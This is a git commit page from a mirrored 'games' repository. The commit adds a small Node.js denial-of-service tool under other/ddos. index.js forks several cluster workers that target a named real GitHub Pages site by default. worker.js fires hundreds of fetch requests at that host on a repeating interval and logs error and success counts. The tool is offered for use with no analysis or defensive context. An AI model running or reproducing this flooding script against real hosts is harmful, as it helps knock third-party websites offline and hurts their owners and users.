mirror of
https://github.com/hexahigh/games.git
synced 2025-12-11 20:15:38 +01:00
e
This commit is contained in:
parent
c4172edbf3
commit
1ddd60cc14
1
other/ddos/index.html
Normal file
1
other/ddos/index.html
Normal file
@ -0,0 +1 @@
|
|||||||
|
<script src="index.js" type="module"></script>
|
||||||
29
other/ddos/index.js
Normal file
29
other/ddos/index.js
Normal file
@ -0,0 +1,29 @@
|
|||||||
|
import cluster from 'cluster'
|
||||||
|
import { red, cyan, blue } from 'colorette'
|
||||||
|
|
||||||
|
export const simpleDDoS = (threads = 5, host = 'https://t0m0t0w.github.io', amount = 500, interval = 500) => {
|
||||||
|
// Spawn main process
|
||||||
|
cluster.setupMaster({
|
||||||
|
exec: `${process.cwd()}/worker.js`,
|
||||||
|
args: [host, amount, interval]
|
||||||
|
})
|
||||||
|
|
||||||
|
// Count threads
|
||||||
|
let threadsCount = 0
|
||||||
|
|
||||||
|
for (let i = 0; i < threads; i++) {
|
||||||
|
cluster.fork()
|
||||||
|
|
||||||
|
threadsCount++
|
||||||
|
}
|
||||||
|
|
||||||
|
cluster.on(
|
||||||
|
'exit',
|
||||||
|
(worker, code, signal) =>
|
||||||
|
void code !== 0 &&
|
||||||
|
console.log(
|
||||||
|
red(`
|
||||||
|
Worker ${worker.process.pid} died. Before the death he said ${signal}.`)
|
||||||
|
)
|
||||||
|
)
|
||||||
|
}
|
||||||
37
other/ddos/worker.js
Normal file
37
other/ddos/worker.js
Normal file
@ -0,0 +1,37 @@
|
|||||||
|
import { red, blue } from 'colorette'
|
||||||
|
import fetch from 'node-fetch'
|
||||||
|
|
||||||
|
// Count errors & successful requests
|
||||||
|
let errors = 0,
|
||||||
|
success = 0,
|
||||||
|
errorMessages = []
|
||||||
|
|
||||||
|
function worker(host, amount, interval) {
|
||||||
|
// Send requests with interval
|
||||||
|
setInterval(() => {
|
||||||
|
for (let i = 0; i < amount; i++) {
|
||||||
|
let isFailedRequest = false
|
||||||
|
|
||||||
|
fetch(host)
|
||||||
|
.catch((err) => {
|
||||||
|
if (err) {
|
||||||
|
if (!errorMessages.includes(err.code)) {
|
||||||
|
errorMessages.push(err.code)
|
||||||
|
console.log(`Error: ${red(err)}`)
|
||||||
|
}
|
||||||
|
isFailedRequest = true
|
||||||
|
errors++
|
||||||
|
}
|
||||||
|
})
|
||||||
|
.then(() => {
|
||||||
|
if (!isFailedRequest) {
|
||||||
|
success++
|
||||||
|
}
|
||||||
|
isFailedRequest = false
|
||||||
|
})
|
||||||
|
}
|
||||||
|
console.log(`Errors: ${red(errors)} Success: ${blue(success)}`)
|
||||||
|
}, interval)
|
||||||
|
}
|
||||||
|
|
||||||
|
worker(process.argv[2], process.argv[3], process.argv[4])
|
||||||
Loading…
x
Reference in New Issue
Block a user